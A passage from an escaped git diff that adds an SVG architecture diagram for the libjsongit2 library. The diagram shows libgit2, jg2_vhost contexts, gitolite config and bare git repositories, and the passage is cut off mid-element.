y\u003d\u002257.021053\u0022 style\u003d\u0022line-height:1\u0022\u003eACL\u003c/tspan\u003e\u003c/text\u003e\u003ctext x\u003d\u0022-464.68878\u0022 y\u003d\u002252.752182\u0022 font-size\u003d\u00225.7px\u0022 stroke-width\u003d\u0022.712\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-464.68878\u0022 y\u003d\u002252.752182\u0022 stroke-width\u003d\u0022.712\u0022\u003eGitolite ACL integration\u003c/tspan\u003e\u003c/text\u003e\u003c/g\u003e\u003c/g\u003e\u003c/svg\u003e\ndiff --git a/doc/doc-assets/libjsongit2-overview.svg b/doc/doc-assets/libjsongit2-overview.svg\nnew file mode 100644\nindex 0000000..6089ed9\n--- /dev/null\n+++ b/doc/doc-assets/libjsongit2-overview.svg\n@@ -0,0 +1,155 @@\n+\u003c?xml version\u003d\u00221.0\u0022 encoding\u003d\u0022UTF-8\u0022?\u003e\n+\u003csvg width\u003d\u0022168.71mm\u0022 height\u003d\u0022222.94mm\u0022 version\u003d\u00221.1\u0022 viewBox\u003d\u00220 0 168.71432 222.93897\u0022 xmlns\u003d\u0022http://www.w3.org/2000/svg\u0022\u003e\n+\t\u003cdefs\u003e\n+\t\t\u003cmarker id\u003d\u0022s\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022b\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022e\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022u\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022i\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022o\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022h\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022v\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022j\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022k\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.4 0 0 -.4 -4 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022y\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.4 0 0 -.4 -4 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022m\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.4 0 0 -.4 -4 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022w\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.4 0 0 -.4 -4 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022l\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.4 0 0 -.4 -4 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022x\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.4 0 0 -.4 -4 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022t\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022a\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022r\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022g\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022q\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022f\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022p\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(.2 0 0 .2 1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022c\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cmarker id\u003d\u0022d\u0022 overflow\u003d\u0022visible\u0022 orient\u003d\u0022auto\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(-.2 0 0 -.2 -1.2 0)\u0022 d\u003d\u0022m0 0 5-5-17.5 5 17.5 5z\u0022 fill-rule\u003d\u0022evenodd\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221pt\u0022/\u003e\n+\t\t\u003c/marker\u003e\n+\t\t\u003cfilter id\u003d\u0022n\u0022 x\u003d\u0022-.03516\u0022 y\u003d\u0022-.026161\u0022 width\u003d\u00221.0703\u0022 height\u003d\u00221.0523\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\n+\t\t\t\u003cfeGaussianBlur stdDeviation\u003d\u00220.73415599\u0022/\u003e\n+\t\t\u003c/filter\u003e\n+\t\u003c/defs\u003e\n+\t\u003cg transform\u003d\u0022translate(-31.39 -59.723)\u0022\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003crect transform\u003d\u0022matrix(3.1327 0 0 3.1327 -68.46 -129.96)\u0022 x\u003d\u002233.862\u0022 y\u003d\u002262.699\u0022 width\u003d\u002250.113\u0022 height\u003d\u002267.352\u0022 filter\u003d\u0022url(#n)\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u002236.155\u0022 y\u003d\u002264.782\u0022 width\u003d\u0022156.99\u0022 height\u003d\u0022210.99\u0022 fill\u003d\u0022#f2f2f2\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u002245.289\u0022 y\u003d\u0022190.99\u0022 width\u003d\u0022139.04\u0022 height\u003d\u002243.345\u0022 fill\u003d\u0022#ffe6d5\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m151.59 213.22h-4.6833\u0022 fill\u003d\u0022none\u0022 marker-end\u003d\u0022url(#d)\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221.0557\u0022/\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003crect x\u003d\u002288.738\u0022 y\u003d\u0022195.82\u0022 width\u003d\u002255.534\u0022 height\u003d\u002236.28\u0022 fill\u003d\u0022#4d4d4d\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u002291.364\u0022 y\u003d\u0022213.56\u0022 width\u003d\u002249.806\u0022 height\u003d\u002215.435\u0022 fill\u003d\u0022#808080\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u0022116.1095\u0022 y\u003d\u0022225.51717\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u002212.446px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u00221.5557\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022116.1095\u0022 y\u003d\u0022225.51717\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u00221.5557\u0022\u003elibgit2\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg fill\u003d\u0022#4d4d4d\u0022\u003e\n+\t\t\t\u003crect x\u003d\u002287.77\u0022 y\u003d\u0022242.9\u0022 width\u003d\u002213.665\u0022 height\u003d\u002213.526\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u0022102.27\u0022 y\u003d\u0022242.9\u0022 width\u003d\u002213.665\u0022 height\u003d\u002213.526\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u0022116.63\u0022 y\u003d\u0022242.9\u0022 width\u003d\u002213.665\u0022 height\u003d\u002213.526\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cpath d\u003d\u0022m154.21 251.77 0.2929-35.734\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221.0557\u0022/\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003crect x\u003d\u0022131.14\u0022 y\u003d\u0022242.9\u0022 width\u003d\u002213.665\u0022 height\u003d\u002213.526\u0022 fill\u003d\u0022#4d4d4d\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u0022116.60323\u0022 y\u003d\u0022207.03345\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00229.6105px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u00221.2013\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022116.60323\u0022 y\u003d\u0022207.03345\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u00221.2013\u0022\u003elibjsongit2\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u0022116.2832\u0022 y\u003d\u0022264.41727\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00227.4587px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.93234\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022116.2832\u0022 y\u003d\u0022264.41727\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.93234\u0022\u003eyour bare git repos\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221.0541px\u0022\u003e\n+\t\t\t\u003cpath d\u003d\u0022m94.467 228.35v12.596\u0022 marker-end\u003d\u0022url(#c)\u0022 marker-start\u003d\u0022url(#p)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m109.34 228.51v12.596\u0022 marker-end\u003d\u0022url(#f)\u0022 marker-start\u003d\u0022url(#q)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m123.35 228.51v12.596\u0022 marker-end\u003d\u0022url(#g)\u0022 marker-start\u003d\u0022url(#r)\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m138.31 228.35v12.596\u0022 marker-end\u003d\u0022url(#a)\u0022 marker-start\u003d\u0022url(#t)\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003ctext x\u003d\u0022165.64291\u0022 y\u003d\u0022220.55902\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.0408px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.6301\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022165.64291\u0022 y\u003d\u0022220.55902\u0022\u003egitolite\u003c/tspan\u003e\u003ctspan x\u003d\u0022165.64291\u0022 y\u003d\u0022226.86002\u0022\u003econfig\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003crect x\u003d\u002245.78\u0022 y\u003d\u002295.972\u0022 width\u003d\u0022138.74\u0022 height\u003d\u002282.813\u0022 fill\u003d\u0022#e9c6af\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u002260.141151\u0022 y\u003d\u0022107.237\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00229.5373px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u00221.1922\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002260.141151\u0022 y\u003d\u0022107.237\u0022\u003euser\u003c/tspan\u003e\u003ctspan x\u003d\u002260.141151\u0022 y\u003d\u0022119.15858\u0022\u003eapp\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003crect x\u003d\u002285.264\u0022 y\u003d\u0022154.37\u0022 width\u003d\u002261.776\u0022 height\u003d\u002218.114\u0022 fill\u003d\u0022#806600\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u0022116.2388\u0022 y\u003d\u0022166.9118\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u002212.434px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u00221.5542\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022116.2388\u0022 y\u003d\u0022166.9118\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u00221.5542\u0022\u003ejg2_vhost\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg fill\u003d\u0022#a80\u0022\u003e\n+\t\t\t\u003crect x\u003d\u002294.161\u0022 y\u003d\u0022136.89\u0022 width\u003d\u002213.652\u0022 height\u003d\u002213.513\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u0022108.51\u0022 y\u003d\u0022136.89\u0022 width\u003d\u002213.652\u0022 height\u003d\u002213.513\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u0022123\u0022 y\u003d\u0022136.89\u0022 width\u003d\u002213.652\u0022 height\u003d\u002213.513\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00229.5493px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u00221.1937\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022\u003e\n+\t\t\t\u003ctext x\u003d\u0022100.87365\u0022 y\u003d\u0022146.6088\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022100.87365\u0022 y\u003d\u0022146.6088\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u00221.1937\u0022\u003ectx\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u0022115.16098\u0022 y\u003d\u0022146.39603\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022115.16098\u0022 y\u003d\u0022146.39603\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u00221.1937\u0022\u003ectx\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003ctext x\u003d\u0022129.62732\u0022 y\u003d\u0022146.39603\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022129.62732\u0022 y\u003d\u0022146.39603\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u00221.1937\u0022\u003ectx\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003ctext x\u003d\u002291.786316\u0022 y\u003d\u0022119.6458\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.0359px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.62949\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u002291.786316\u0022 y\u003d\u0022119.6458\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.62949\u0022\u003eurlpath in\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003ctext x\u003d\u0022133.3802\u0022 y\u003d\u0022103.92596\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.0359px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.62949\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022133.3802\u0022 y\u003d\u0022103.92596\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.62949\u0022\u003eHTML + JSON out into\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003cg fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022\u003e\n+\t\t\t\u003cg stroke-width\u003d\u0022.63048\u0022\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m120.32 126.71 9.5382 9.8562 14.307-21.143\u0022 marker-end\u003d\u0022url(#x)\u0022 marker-start\u003d\u0022url(#l)\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m105.78 126.74 9.5382 9.8562 14.307-21.143\u0022 marker-end\u003d\u0022url(#w)\u0022 marker-start\u003d\u0022url(#m)\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m91.554 126.66 9.5383 9.8562 14.307-21.143\u0022 marker-end\u003d\u0022url(#y)\u0022 marker-start\u003d\u0022url(#k)\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003cg stroke-width\u003d\u0022.62949px\u0022\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m100.95 150.19v4.4964\u0022 marker-end\u003d\u0022url(#j)\u0022 marker-start\u003d\u0022url(#v)\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m114.88 149.97v4.4964\u0022 marker-end\u003d\u0022url(#h)\u0022 marker-start\u003d\u0022url(#o)\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m129.27 149.74v4.4964\u0022 marker-end\u003d\u0022url(#i)\u0022 marker-start\u003d\u0022url(#u)\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\t\u003cpath d\u003d\u0022m159.44 163.02h-12.596\u0022 marker-end\u003d\u0022url(#e)\u0022 stroke-width\u003d\u00221.055\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003ctext x\u003d\u0022167.9082\u0022 y\u003d\u0022160.75\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.0408px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.6301\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022167.9082\u0022 y\u003d\u0022160.75\u0022\u003etemplate\u003c/tspan\u003e\u003ctspan x\u003d\u0022167.9082\u0022 y\u003d\u0022167.05099\u0022\u003eHTML\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003cpath d\u003d\u0022m116.44 170.67v22.542\u0022 fill\u003d\u0022none\u0022 marker-end\u003d\u0022url(#b)\u0022 marker-start\u003d\u0022url(#s)\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u00221.0541px\u0022/\u003e\n+\t\t\u003cg fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 letter-spacing\u003d\u00220px\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022\u003e\n+\t\t\t\u003ctext x\u003d\u0022133.12012\u0022 y\u003d\u0022109.48351\u0022 